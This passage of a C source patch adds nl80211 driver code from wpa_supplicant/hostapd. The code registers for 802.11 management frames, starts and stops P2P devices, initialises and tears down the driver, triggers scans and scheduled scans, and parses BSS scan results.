nlmsg_alloc(); + if (!msg) + return -1; + + wpa_printf(MSG_DEBUG, "nl80211: Register frame type=0x%x nl_handle=%p", + type, nl_handle); + wpa_hexdump(MSG_DEBUG, "nl80211: Register frame match", + match, match_len); + + nl80211_cmd(drv, msg, 0, NL80211_CMD_REGISTER_ACTION); + + if (nl80211_set_iface_id(msg, bss) < 0) + goto nla_put_failure; + + NLA_PUT_U16(msg, NL80211_ATTR_FRAME_TYPE, type); + NLA_PUT(msg, NL80211_ATTR_FRAME_MATCH, match_len, match); + + ret = send_and_recv(drv->global, nl_handle, msg, NULL, NULL); + msg = NULL; + if (ret) { + wpa_printf(MSG_DEBUG, "nl80211: Register frame command " + "failed (type=%u): ret=%d (%s)", + type, ret, strerror(-ret)); + wpa_hexdump(MSG_DEBUG, "nl80211: Register frame match", + match, match_len); + goto nla_put_failure; + } + ret = 0; +nla_put_failure: + nlmsg_free(msg); + return ret; +} + + +static int nl80211_alloc_mgmt_handle(struct i802_bss *bss) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + + if (bss->nl_mgmt) { + wpa_printf(MSG_DEBUG, "nl80211: Mgmt reporting " + "already on! (nl_mgmt=%p)", bss->nl_mgmt); + return -1; + } + + bss->nl_mgmt = nl_create_handle(drv->nl_cb, "mgmt"); + if (bss->nl_mgmt == NULL) + return -1; + + return 0; +} + + +static void nl80211_mgmt_handle_register_eloop(struct i802_bss *bss) +{ + nl80211_register_eloop_read(&bss->nl_mgmt, + wpa_driver_nl80211_event_receive, + bss->nl_cb); +} + + +static int nl80211_register_action_frame(struct i802_bss *bss, + const u8 *match, size_t match_len) +{ + u16 type = (WLAN_FC_TYPE_MGMT << 2) | (WLAN_FC_STYPE_ACTION << 4); + return nl80211_register_frame(bss, bss->nl_mgmt, + type, match, match_len); +} + + +static int nl80211_mgmt_subscribe_non_ap(struct i802_bss *bss) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + + if (nl80211_alloc_mgmt_handle(bss)) + return -1; + wpa_printf(MSG_DEBUG, "nl80211: Subscribe to mgmt frames with non-AP " + "handle %p", bss->nl_mgmt); + + if (drv->nlmode == NL80211_IFTYPE_ADHOC) { + u16 type = (WLAN_FC_TYPE_MGMT << 2) | (WLAN_FC_STYPE_AUTH << 4); + + /* register for any AUTH message */ + nl80211_register_frame(bss, bss->nl_mgmt, type, NULL, 0); + } + +#ifdef CONFIG_INTERWORKING + /* QoS Map Configure */ + if (nl80211_register_action_frame(bss, (u8 *) "\x01\x04", 2) < 0) + return -1; +#endif /* CONFIG_INTERWORKING */ +#if defined(CONFIG_P2P) || defined(CONFIG_INTERWORKING) + /* GAS Initial Request */ + if (nl80211_register_action_frame(bss, (u8 *) "\x04\x0a", 2) < 0) + return -1; + /* GAS Initial Response */ + if (nl80211_register_action_frame(bss, (u8 *) "\x04\x0b", 2) < 0) + return -1; + /* GAS Comeback Request */ + if (nl80211_register_action_frame(bss, (u8 *) "\x04\x0c", 2) < 0) + return -1; + /* GAS Comeback Response */ + if (nl80211_register_action_frame(bss, (u8 *) "\x04\x0d", 2) < 0) + return -1; +#endif /* CONFIG_P2P || CONFIG_INTERWORKING */ +#ifdef CONFIG_P2P + /* P2P Public Action */ + if (nl80211_register_action_frame(bss, + (u8 *) "\x04\x09\x50\x6f\x9a\x09", + 6) < 0) + return -1; + /* P2P Action */ + if (nl80211_register_action_frame(bss, + (u8 *) "\x7f\x50\x6f\x9a\x09", + 5) < 0) + return -1; +#endif /* CONFIG_P2P */ +#ifdef CONFIG_IEEE80211W + /* SA Query Response */ + if (nl80211_register_action_frame(bss, (u8 *) "\x08\x01", 2) < 0) + return -1; +#endif /* CONFIG_IEEE80211W */ +#ifdef CONFIG_TDLS + if ((drv->capa.flags & WPA_DRIVER_FLAGS_TDLS_SUPPORT)) { + /* TDLS Discovery Response */ + if (nl80211_register_action_frame(bss, (u8 *) "\x04\x0e", 2) < + 0) + return -1; + } +#endif /* CONFIG_TDLS */ + + /* FT Action frames */ + if (nl80211_register_action_frame(bss, (u8 *) "\x06", 1) < 0) + return -1; + else + drv->capa.key_mgmt |= WPA_DRIVER_CAPA_KEY_MGMT_FT | + WPA_DRIVER_CAPA_KEY_MGMT_FT_PSK; + + /* WNM - BSS Transition Management Request */ + if (nl80211_register_action_frame(bss, (u8 *) "\x0a\x07", 2) < 0) + return -1; + /* WNM-Sleep Mode Response */ + if (nl80211_register_action_frame(bss, (u8 *) "\x0a\x11", 2) < 0) + return -1; + + nl80211_mgmt_handle_register_eloop(bss); + + return 0; +} + + +static int nl80211_register_spurious_class3(struct i802_bss *bss) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + int ret = -1; + + msg = nlmsg_alloc(); + if (!msg) + return -1; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_UNEXPECTED_FRAME); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, bss->ifindex); + + ret = send_and_recv(drv->global, bss->nl_mgmt, msg, NULL, NULL); + msg = NULL; + if (ret) { + wpa_printf(MSG_DEBUG, "nl80211: Register spurious class3 " + "failed: ret=%d (%s)", + ret, strerror(-ret)); + goto nla_put_failure; + } + ret = 0; +nla_put_failure: + nlmsg_free(msg); + return ret; +} + + +static int nl80211_mgmt_subscribe_ap(struct i802_bss *bss) +{ + static const int stypes[] = { + WLAN_FC_STYPE_AUTH, + WLAN_FC_STYPE_ASSOC_REQ, + WLAN_FC_STYPE_REASSOC_REQ, + WLAN_FC_STYPE_DISASSOC, + WLAN_FC_STYPE_DEAUTH, + WLAN_FC_STYPE_ACTION, + WLAN_FC_STYPE_PROBE_REQ, +/* Beacon doesn't work as mac80211 doesn't currently allow + * it, but it wouldn't really be the right thing anyway as + * it isn't per interface ... maybe just dump the scan + * results periodically for OLBC? + */ +// WLAN_FC_STYPE_BEACON, + }; + unsigned int i; + + if (nl80211_alloc_mgmt_handle(bss)) + return -1; + wpa_printf(MSG_DEBUG, "nl80211: Subscribe to mgmt frames with AP " + "handle %p", bss->nl_mgmt); + + for (i = 0; i < ARRAY_SIZE(stypes); i++) { + if (nl80211_register_frame(bss, bss->nl_mgmt, + (WLAN_FC_TYPE_MGMT << 2) | + (stypes[i] << 4), + NULL, 0) < 0) { + goto out_err; + } + } + + if (nl80211_register_spurious_class3(bss)) + goto out_err; + + if (nl80211_get_wiphy_data_ap(bss) == NULL) + goto out_err; + + nl80211_mgmt_handle_register_eloop(bss); + return 0; + +out_err: + nl_destroy_handles(&bss->nl_mgmt); + return -1; +} + + +static int nl80211_mgmt_subscribe_ap_dev_sme(struct i802_bss *bss) +{ + if (nl80211_alloc_mgmt_handle(bss)) + return -1; + wpa_printf(MSG_DEBUG, "nl80211: Subscribe to mgmt frames with AP " + "handle %p (device SME)", bss->nl_mgmt); + + if (nl80211_register_frame(bss, bss->nl_mgmt, + (WLAN_FC_TYPE_MGMT << 2) | + (WLAN_FC_STYPE_ACTION << 4), + NULL, 0) < 0) + goto out_err; + + nl80211_mgmt_handle_register_eloop(bss); + return 0; + +out_err: + nl_destroy_handles(&bss->nl_mgmt); + return -1; +} + + +static void nl80211_mgmt_unsubscribe(struct i802_bss *bss, const char *reason) +{ + if (bss->nl_mgmt == NULL) + return; + wpa_printf(MSG_DEBUG, "nl80211: Unsubscribe mgmt frames handle %p " + "(%s)", bss->nl_mgmt, reason); + nl80211_destroy_eloop_handle(&bss->nl_mgmt); + + nl80211_put_wiphy_data_ap(bss); +} + + +static void wpa_driver_nl80211_send_rfkill(void *eloop_ctx, void *timeout_ctx) +{ + wpa_supplicant_event(timeout_ctx, EVENT_INTERFACE_DISABLED, NULL); +} + + +static void nl80211_del_p2pdev(struct i802_bss *bss) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + int ret; + + msg = nlmsg_alloc(); + if (!msg) + return; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_DEL_INTERFACE); + NLA_PUT_U64(msg, NL80211_ATTR_WDEV, bss->wdev_id); + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + + wpa_printf(MSG_DEBUG, "nl80211: Delete P2P Device %s (0x%llx): %s", + bss->ifname, (long long unsigned int) bss->wdev_id, + strerror(-ret)); + +nla_put_failure: + nlmsg_free(msg); +} + + +static int nl80211_set_p2pdev(struct i802_bss *bss, int start) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + int ret = -1; + + msg = nlmsg_alloc(); + if (!msg) + return -1; + + if (start) + nl80211_cmd(drv, msg, 0, NL80211_CMD_START_P2P_DEVICE); + else + nl80211_cmd(drv, msg, 0, NL80211_CMD_STOP_P2P_DEVICE); + + NLA_PUT_U64(msg, NL80211_ATTR_WDEV, bss->wdev_id); + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + + wpa_printf(MSG_DEBUG, "nl80211: %s P2P Device %s (0x%llx): %s", + start ? "Start" : "Stop", + bss->ifname, (long long unsigned int) bss->wdev_id, + strerror(-ret)); + +nla_put_failure: + nlmsg_free(msg); + return ret; +} + + +static int i802_set_iface_flags(struct i802_bss *bss, int up) +{ + enum nl80211_iftype nlmode; + + nlmode = nl80211_get_ifmode(bss); + if (nlmode != NL80211_IFTYPE_P2P_DEVICE) { + return linux_set_iface_flags(bss->drv->global->ioctl_sock, + bss->ifname, up); + } + + /* P2P Device has start/stop which is equivalent */ + return nl80211_set_p2pdev(bss, up); +} + + +static int +wpa_driver_nl80211_finish_drv_init(struct wpa_driver_nl80211_data *drv, + const u8 *set_addr, int first) +{ + struct i802_bss *bss = drv->first_bss; + int send_rfkill_event = 0; + enum nl80211_iftype nlmode; + + drv->ifindex = if_nametoindex(bss->ifname); + bss->ifindex = drv->ifindex; + bss->wdev_id = drv->global->if_add_wdevid; + bss->wdev_id_set = drv->global->if_add_wdevid_set; + + bss->if_dynamic = drv->ifindex == drv->global->if_add_ifindex; + bss->if_dynamic = bss->if_dynamic || drv->global->if_add_wdevid_set; + drv->global->if_add_wdevid_set = 0; + + if (wpa_driver_nl80211_capa(drv)) + return -1; + + wpa_printf(MSG_DEBUG, "nl80211: interface %s in phy %s", + bss->ifname, drv->phyname); + + if (set_addr && + (linux_set_iface_flags(drv->global->ioctl_sock, bss->ifname, 0) || + linux_set_ifhwaddr(drv->global->ioctl_sock, bss->ifname, + set_addr))) + return -1; + + if (first && nl80211_get_ifmode(bss) == NL80211_IFTYPE_AP) + drv->start_mode_ap = 1; + + if (drv->hostapd) + nlmode = NL80211_IFTYPE_AP; + else if (bss->if_dynamic) + nlmode = nl80211_get_ifmode(bss); + else + nlmode = NL80211_IFTYPE_STATION; + + if (wpa_driver_nl80211_set_mode(bss, nlmode) < 0) { + wpa_printf(MSG_ERROR, "nl80211: Could not configure driver mode"); + return -1; + } + + if (nlmode == NL80211_IFTYPE_P2P_DEVICE) { + int ret = nl80211_set_p2pdev(bss, 1); + if (ret < 0) + wpa_printf(MSG_ERROR, "nl80211: Could not start P2P device"); + nl80211_get_macaddr(bss); + return ret; + } + + if (linux_set_iface_flags(drv->global->ioctl_sock, bss->ifname, 1)) { + if (rfkill_is_blocked(drv->rfkill)) { + wpa_printf(MSG_DEBUG, "nl80211: Could not yet enable " + "interface '%s' due to rfkill", + bss->ifname); + drv->if_disabled = 1; + send_rfkill_event = 1; + } else { + wpa_printf(MSG_ERROR, "nl80211: Could not set " + "interface '%s' UP", bss->ifname); + return -1; + } + } + + if (!drv->hostapd) + netlink_send_oper_ifla(drv->global->netlink, drv->ifindex, + 1, IF_OPER_DORMANT); + + if (linux_get_ifhwaddr(drv->global->ioctl_sock, bss->ifname, + bss->addr)) + return -1; + + if (send_rfkill_event) { + eloop_register_timeout(0, 0, wpa_driver_nl80211_send_rfkill, + drv, drv->ctx); + } + + return 0; +} + + +static int wpa_driver_nl80211_del_beacon(struct wpa_driver_nl80211_data *drv) +{ + struct nl_msg *msg; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + wpa_printf(MSG_DEBUG, "nl80211: Remove beacon (ifindex=%d)", + drv->ifindex); + nl80211_cmd(drv, msg, 0, NL80211_CMD_DEL_BEACON); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + + return send_and_recv_msgs(drv, msg, NULL, NULL); + nla_put_failure: + nlmsg_free(msg); + return -ENOBUFS; +} + + +/** + * wpa_driver_nl80211_deinit - Deinitialize nl80211 driver interface + * @bss: Pointer to private nl80211 data from wpa_driver_nl80211_init() + * + * Shut down driver interface and processing of driver events. Free + * private data buffer if one was allocated in wpa_driver_nl80211_init(). + */ +static void wpa_driver_nl80211_deinit(struct i802_bss *bss) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + + bss->in_deinit = 1; + if (drv->data_tx_status) + eloop_unregister_read_sock(drv->eapol_tx_sock); + if (drv->eapol_tx_sock >= 0) + close(drv->eapol_tx_sock); + + if (bss->nl_preq) + wpa_driver_nl80211_probe_req_report(bss, 0); + if (bss->added_if_into_bridge) { + if (linux_br_del_if(drv->global->ioctl_sock, bss->brname, + bss->ifname) < 0) + wpa_printf(MSG_INFO, "nl80211: Failed to remove " + "interface %s from bridge %s: %s", + bss->ifname, bss->brname, strerror(errno)); + } + if (bss->added_bridge) { + if (linux_br_del(drv->global->ioctl_sock, bss->brname) < 0) + wpa_printf(MSG_INFO, "nl80211: Failed to remove " + "bridge %s: %s", + bss->brname, strerror(errno)); + } + + nl80211_remove_monitor_interface(drv); + + if (is_ap_interface(drv->nlmode)) + wpa_driver_nl80211_del_beacon(drv); + + if (drv->eapol_sock >= 0) { + eloop_unregister_read_sock(drv->eapol_sock); + close(drv->eapol_sock); + } + + if (drv->if_indices != drv->default_if_indices) + os_free(drv->if_indices); + + if (drv->disabled_11b_rates) + nl80211_disable_11b_rates(drv, drv->ifindex, 0); + + netlink_send_oper_ifla(drv->global->netlink, drv->ifindex, 0, + IF_OPER_UP); + rfkill_deinit(drv->rfkill); + + eloop_cancel_timeout(wpa_driver_nl80211_scan_timeout, drv, drv->ctx); + + if (!drv->start_iface_up) + (void) i802_set_iface_flags(bss, 0); + if (drv->nlmode != NL80211_IFTYPE_P2P_DEVICE) { + if (!drv->hostapd || !drv->start_mode_ap) + wpa_driver_nl80211_set_mode(bss, + NL80211_IFTYPE_STATION); + nl80211_mgmt_unsubscribe(bss, "deinit"); + } else { + nl80211_mgmt_unsubscribe(bss, "deinit"); + nl80211_del_p2pdev(bss); + } + nl_cb_put(drv->nl_cb); + + nl80211_destroy_bss(drv->first_bss); + + os_free(drv->filter_ssids); + + os_free(drv->auth_ie); + + if (drv->in_interface_list) + dl_list_del(&drv->list); + + os_free(drv->extended_capa); + os_free(drv->extended_capa_mask); + os_free(drv->first_bss); + os_free(drv); +} + + +/** + * wpa_driver_nl80211_scan_timeout - Scan timeout to report scan completion + * @eloop_ctx: Driver private data + * @timeout_ctx: ctx argument given to wpa_driver_nl80211_init() + * + * This function can be used as registered timeout when starting a scan to + * generate a scan completed event if the driver does not report this. + */ +static void wpa_driver_nl80211_scan_timeout(void *eloop_ctx, void *timeout_ctx) +{ + struct wpa_driver_nl80211_data *drv = eloop_ctx; + if (drv->ap_scan_as_station != NL80211_IFTYPE_UNSPECIFIED) { + wpa_driver_nl80211_set_mode(drv->first_bss, + drv->ap_scan_as_station); + drv->ap_scan_as_station = NL80211_IFTYPE_UNSPECIFIED; + } + wpa_printf(MSG_DEBUG, "Scan timeout - try to get results"); + wpa_supplicant_event(timeout_ctx, EVENT_SCAN_RESULTS, NULL); +} + + +static struct nl_msg * +nl80211_scan_common(struct wpa_driver_nl80211_data *drv, u8 cmd, + struct wpa_driver_scan_params *params, u64 *wdev_id) +{ + struct nl_msg *msg; + size_t i; + + msg = nlmsg_alloc(); + if (!msg) + return NULL; + + nl80211_cmd(drv, msg, 0, cmd); + + if (!wdev_id) + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + else + NLA_PUT_U64(msg, NL80211_ATTR_WDEV, *wdev_id); + + if (params->num_ssids) { + struct nlattr *ssids; + + ssids = nla_nest_start(msg, NL80211_ATTR_SCAN_SSIDS); + if (ssids == NULL) + goto fail; + for (i = 0; i < params->num_ssids; i++) { + wpa_hexdump_ascii(MSG_MSGDUMP, "nl80211: Scan SSID", + params->ssids[i].ssid, + params->ssids[i].ssid_len); + if (nla_put(msg, i + 1, params->ssids[i].ssid_len, + params->ssids[i].ssid) < 0) + goto fail; + } + nla_nest_end(msg, ssids); + } + + if (params->extra_ies) { + wpa_hexdump(MSG_MSGDUMP, "nl80211: Scan extra IEs", + params->extra_ies, params->extra_ies_len); + if (nla_put(msg, NL80211_ATTR_IE, params->extra_ies_len, + params->extra_ies) < 0) + goto fail; + } + + if (params->freqs) { + struct nlattr *freqs; + freqs = nla_nest_start(msg, NL80211_ATTR_SCAN_FREQUENCIES); + if (freqs == NULL) + goto fail; + for (i = 0; params->freqs[i]; i++) { + wpa_printf(MSG_MSGDUMP, "nl80211: Scan frequency %u " + "MHz", params->freqs[i]); + if (nla_put_u32(msg, i + 1, params->freqs[i]) < 0) + goto fail; + } + nla_nest_end(msg, freqs); + } + + os_free(drv->filter_ssids); + drv->filter_ssids = params->filter_ssids; + params->filter_ssids = NULL; + drv->num_filter_ssids = params->num_filter_ssids; + + return msg; + +fail: +nla_put_failure: + nlmsg_free(msg); + return NULL; +} + + +/** + * wpa_driver_nl80211_scan - Request the driver to initiate scan + * @bss: Pointer to private driver data from wpa_driver_nl80211_init() + * @params: Scan parameters + * Returns: 0 on success, -1 on failure + */ +static int wpa_driver_nl80211_scan(struct i802_bss *bss, + struct wpa_driver_scan_params *params) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + int ret = -1, timeout; + struct nl_msg *msg = NULL; + + wpa_dbg(drv->ctx, MSG_DEBUG, "nl80211: scan request"); + drv->scan_for_auth = 0; + + msg = nl80211_scan_common(drv, NL80211_CMD_TRIGGER_SCAN, params, + bss->wdev_id_set ? &bss->wdev_id : NULL); + if (!msg) + return -1; + + if (params->p2p_probe) { + struct nlattr *rates; + + wpa_printf(MSG_DEBUG, "nl80211: P2P probe - mask SuppRates"); + + rates = nla_nest_start(msg, NL80211_ATTR_SCAN_SUPP_RATES); + if (rates == NULL) + goto nla_put_failure; + + /* + * Remove 2.4 GHz rates 1, 2, 5.5, 11 Mbps from supported rates + * by masking out everything else apart from the OFDM rates 6, + * 9, 12, 18, 24, 36, 48, 54 Mbps from non-MCS rates. All 5 GHz + * rates are left enabled. + */ + NLA_PUT(msg, NL80211_BAND_2GHZ, 8, + "\x0c\x12\x18\x24\x30\x48\x60\x6c"); + nla_nest_end(msg, rates); + + NLA_PUT_FLAG(msg, NL80211_ATTR_TX_NO_CCK_RATE); + } + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + if (ret) { + wpa_printf(MSG_DEBUG, "nl80211: Scan trigger failed: ret=%d " + "(%s)", ret, strerror(-ret)); + if (drv->hostapd && is_ap_interface(drv->nlmode)) { + /* + * mac80211 does not allow scan requests in AP mode, so + * try to do this in station mode. + */ + if (wpa_driver_nl80211_set_mode( + bss, NL80211_IFTYPE_STATION)) + goto nla_put_failure; + + if (wpa_driver_nl80211_scan(bss, params)) { + wpa_driver_nl80211_set_mode(bss, drv->nlmode); + goto nla_put_failure; + } + + /* Restore AP mode when processing scan results */ + drv->ap_scan_as_station = drv->nlmode; + ret = 0; + } else + goto nla_put_failure; + } + + drv->scan_state = SCAN_REQUESTED; + /* Not all drivers generate "scan completed" wireless event, so try to + * read results after a timeout. */ + timeout = 10; + if (drv->scan_complete_events) { + /* + * The driver seems to deliver events to notify when scan is + * complete, so use longer timeout to avoid race conditions + * with scanning and following association request. + */ + timeout = 30; + } + wpa_printf(MSG_DEBUG, "Scan requested (ret=%d) - scan timeout %d " + "seconds", ret, timeout); + eloop_cancel_timeout(wpa_driver_nl80211_scan_timeout, drv, drv->ctx); + eloop_register_timeout(timeout, 0, wpa_driver_nl80211_scan_timeout, + drv, drv->ctx); + +nla_put_failure: + nlmsg_free(msg); + return ret; +} + + +/** + * wpa_driver_nl80211_sched_scan - Initiate a scheduled scan + * @priv: Pointer to private driver data from wpa_driver_nl80211_init() + * @params: Scan parameters + * @interval: Interval between scan cycles in milliseconds + * Returns: 0 on success, -1 on failure or if not supported + */ +static int wpa_driver_nl80211_sched_scan(void *priv, + struct wpa_driver_scan_params *params, + u32 interval) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + int ret = -1; + struct nl_msg *msg; + size_t i; + + wpa_dbg(drv->ctx, MSG_DEBUG, "nl80211: sched_scan request"); + +#ifdef ANDROID + if (!drv->capa.sched_scan_supported) + return android_pno_start(bss, params); +#endif /* ANDROID */ + + msg = nl80211_scan_common(drv, NL80211_CMD_START_SCHED_SCAN, params, + bss->wdev_id_set ? &bss->wdev_id : NULL); + if (!msg) + goto nla_put_failure; + + NLA_PUT_U32(msg, NL80211_ATTR_SCHED_SCAN_INTERVAL, interval); + + if ((drv->num_filter_ssids && + (int) drv->num_filter_ssids <= drv->capa.max_match_sets) || + params->filter_rssi) { + struct nlattr *match_sets; + match_sets = nla_nest_start(msg, NL80211_ATTR_SCHED_SCAN_MATCH); + if (match_sets == NULL) + goto nla_put_failure; + + for (i = 0; i < drv->num_filter_ssids; i++) { + struct nlattr *match_set_ssid; + wpa_hexdump_ascii(MSG_MSGDUMP, + "nl80211: Sched scan filter SSID", + drv->filter_ssids[i].ssid, + drv->filter_ssids[i].ssid_len); + + match_set_ssid = nla_nest_start(msg, i + 1); + if (match_set_ssid == NULL) + goto nla_put_failure; + NLA_PUT(msg, NL80211_ATTR_SCHED_SCAN_MATCH_SSID, + drv->filter_ssids[i].ssid_len, + drv->filter_ssids[i].ssid); + + nla_nest_end(msg, match_set_ssid); + } + + if (params->filter_rssi) { + struct nlattr *match_set_rssi; + match_set_rssi = nla_nest_start(msg, 0); + if (match_set_rssi == NULL) + goto nla_put_failure; + NLA_PUT_U32(msg, NL80211_SCHED_SCAN_MATCH_ATTR_RSSI, + params->filter_rssi); + wpa_printf(MSG_MSGDUMP, + "nl80211: Sched scan RSSI filter %d dBm", + params->filter_rssi); + nla_nest_end(msg, match_set_rssi); + } + + nla_nest_end(msg, match_sets); + } + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + + /* TODO: if we get an error here, we should fall back to normal scan */ + + msg = NULL; + if (ret) { + wpa_printf(MSG_DEBUG, "nl80211: Sched scan start failed: " + "ret=%d (%s)", ret, strerror(-ret)); + goto nla_put_failure; + } + + wpa_printf(MSG_DEBUG, "nl80211: Sched scan requested (ret=%d) - " + "scan interval %d msec", ret, interval); + +nla_put_failure: + nlmsg_free(msg); + return ret; +} + + +/** + * wpa_driver_nl80211_stop_sched_scan - Stop a scheduled scan + * @priv: Pointer to private driver data from wpa_driver_nl80211_init() + * Returns: 0 on success, -1 on failure or if not supported + */ +static int wpa_driver_nl80211_stop_sched_scan(void *priv) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + int ret = 0; + struct nl_msg *msg; + +#ifdef ANDROID + if (!drv->capa.sched_scan_supported) + return android_pno_stop(bss); +#endif /* ANDROID */ + + msg = nlmsg_alloc(); + if (!msg) + return -1; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_STOP_SCHED_SCAN); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + if (ret) { + wpa_printf(MSG_DEBUG, "nl80211: Sched scan stop failed: " + "ret=%d (%s)", ret, strerror(-ret)); + goto nla_put_failure; + } + + wpa_printf(MSG_DEBUG, "nl80211: Sched scan stop sent (ret=%d)", ret); + +nla_put_failure: + nlmsg_free(msg); + return ret; +} + + +static const u8 * nl80211_get_ie(const u8 *ies, size_t ies_len, u8 ie) +{ + const u8 *end, *pos; + + if (ies == NULL) + return NULL; + + pos = ies; + end = ies + ies_len; + + while (pos + 1 < end) { + if (pos + 2 + pos[1] > end) + break; + if (pos[0] == ie) + return pos; + pos += 2 + pos[1]; + } + + return NULL; +} + + +static int nl80211_scan_filtered(struct wpa_driver_nl80211_data *drv, + const u8 *ie, size_t ie_len) +{ + const u8 *ssid; + size_t i; + + if (drv->filter_ssids == NULL) + return 0; + + ssid = nl80211_get_ie(ie, ie_len, WLAN_EID_SSID); + if (ssid == NULL) + return 1; + + for (i = 0; i < drv->num_filter_ssids; i++) { + if (ssid[1] == drv->filter_ssids[i].ssid_len && + os_memcmp(ssid + 2, drv->filter_ssids[i].ssid, ssid[1]) == + 0) + return 0; + } + + return 1; +} + + +static int bss_info_handler(struct nl_msg *msg, void *arg) +{ + struct nlattr *tb[NL80211_ATTR_MAX + 1]; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + struct nlattr *bss[NL80211_BSS_MAX + 1]; + static struct nla_policy bss_policy[NL80211_BSS_MAX + 1] = { + [NL80211_BSS_BSSID] = { .type = NLA_UNSPEC }, + [NL80211_BSS_FREQUENCY] = { .type = NLA_U32 }, + [NL80211_BSS_TSF] = { .type = NLA_U64 }, + [NL80211_BSS_BEACON_INTERVAL] = { .type = NLA_U16 }, + [NL80211_BSS_CAPABILITY] = { .type = NLA_U16 }, + [NL80211_BSS_INFORMATION_ELEMENTS] = { .type = NLA_UNSPEC }, + [NL80211_BSS_SIGNAL_MBM] = { .type = NLA_U32 }, + [NL80211_BSS_SIGNAL_UNSPEC] = { .type = NLA_U8 }, + [NL80211_BSS_STATUS] = { .type = NLA_U32 }, + [NL80211_BSS_SEEN_MS_AGO] = { .type = NLA_U32 }, + [NL80211_BSS_BEACON_IES] = { .type = NLA_UNSPEC }, + }; + struct nl80211_bss_info_arg *_arg = arg; + struct wpa_scan_results *res = _arg->res; + struct wpa_scan_res **tmp; + struct wpa_scan_res *r; + const u8 *ie, *beacon_ie; + size_t ie_len, beacon_ie_len; + u8 *pos; + size_t i; + + nla_parse(tb, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + if (!tb[NL80211_ATTR_BSS]) + return NL_SKIP; + if (nla_parse_nested(bss, NL80211_BSS_MAX, tb[NL80211_ATTR_BSS], + bss_policy)) + return NL_SKIP; + if (bss[NL80211_BSS_STATUS]) { + enum nl80211_bss_status status; + status = nla_get_u32(bss[NL80211_BSS_STATUS]); + if (status == NL80211_BSS_STATUS_ASSOCIATED && + bss[NL80211_BSS_FREQUENCY]) { + _arg->assoc_freq = + nla_get_u32(bss[NL80211_BSS_FREQUENCY]); + wpa_printf(MSG_DEBUG, "nl80211: Associated on %u MHz", + _arg->assoc_freq); + } + if (status == NL80211_BSS_STATUS_ASSOCIATED && + bss[NL80211_BSS_BSSID]) { + os_memcpy(_arg->assoc_bssid, + nla_data(bss[NL80211_BSS_BSSID]), ETH_ALEN); + wpa_printf(MSG_DEBUG, "nl80211: Associated with " + MACSTR, MAC2STR(_arg->assoc_bssid)); + } + } + if (!res) + return NL_SKIP; + if (bss[NL80211_BSS_INFORMATION_ELEMENTS]) { + ie = nla_data(bss[NL80211_BSS_INFORMATION_ELEMENTS]); + ie_len = nla_len(bss[NL80211_BSS_INFORMATION_ELEMENTS]); + } else { + ie = NULL; + ie_len = 0; + } + if (bss[NL80211_BSS_BEACON_IES]) { + beacon_ie = nla_data(bss[NL80211_BSS_BEACON_IES]); + beacon_ie_len = nla_len(bss[NL80211_BSS_BEACON_IES]); + } else { + beacon_ie = NULL; + beacon_ie_len = 0; + } + + if (nl80211_scan_filtered(_arg->drv, ie ? ie : beacon_ie, + ie ? ie_len : beacon_ie_len)) + return NL_SKIP; + + r = os_zalloc(sizeof(*r) + ie_len + beacon_ie_len); + if (r == NULL) + return NL_SKIP; + if (bss[NL80211_BSS_BSSID]) + os_memcpy(r->bssid, nla_data(bss[NL80211_BSS_BSSID]), + ETH_ALEN); + if (bss[NL80211_BSS_FREQUENCY]) + r->freq = nla_get_u32(bss[NL80211_BSS_FREQUENCY]); + if (bss[NL80211_BSS_BEACON_INTERVAL]) + r->beacon_int = nla_get_u16(bss[NL80211_BSS_BEACON_INTERVAL]); + if (bss[NL80211_BSS_CAPABILITY]) + r->caps = nla_get_u16(bss[NL80211_BSS_CAPABILITY]); + r->flags |= WPA_SCAN_NOISE_INVALID; + if (bss[NL80211_BSS_SIGNAL_MBM]) { + r->level = nla_get_u32(bss[NL80211_BSS_SIGNAL_MBM]); + r->level /= 100; /* mBm to dBm */ + r->flags |= WPA_SCAN_LEVEL_DBM | WPA_SCAN_QUAL_INVALID; + } else if (bss[NL80211_BSS_SIGNAL_UNSPEC]) { + r->level = nla_get_u8(bss[NL80211_BSS_SIGNAL_UNSPEC]); + r->flags |= WPA_SCAN_QUAL_INVALID; + } else + r->flags |= WPA_SCAN_LEVEL_INVALID | WPA_SCAN_QUAL_INVALID; + if (bss[NL80211_BSS_TSF]) + r->tsf = nla_get_u64(bss[NL80211_BSS_TSF]); + if (bss[NL80211_BSS_SEEN_MS_AGO]) + r->age = nla_get_u32(bss[NL80211_BSS_SEEN_MS_AGO]); + r->ie_len = ie_len; + pos = (u8 *) (r + 1); + if (ie) { + os_memcpy(pos, ie, ie_len); + pos += ie_len; + } + r->beacon_ie_len = beacon_ie_len; + if (beacon_ie) + os_memcpy(pos, beacon_ie, beacon_ie_len); + + if (bss[NL80211_BSS_STATUS]) { + enum nl80211_bss_status status; + status = nla_get_u32(bss[NL80211_BSS_STATUS]); + switch (status) { + case NL80211_BSS_STATUS_AUTHENTICATED: + r->flags |= WPA_SCAN_AUTHENTICATED; + break; + 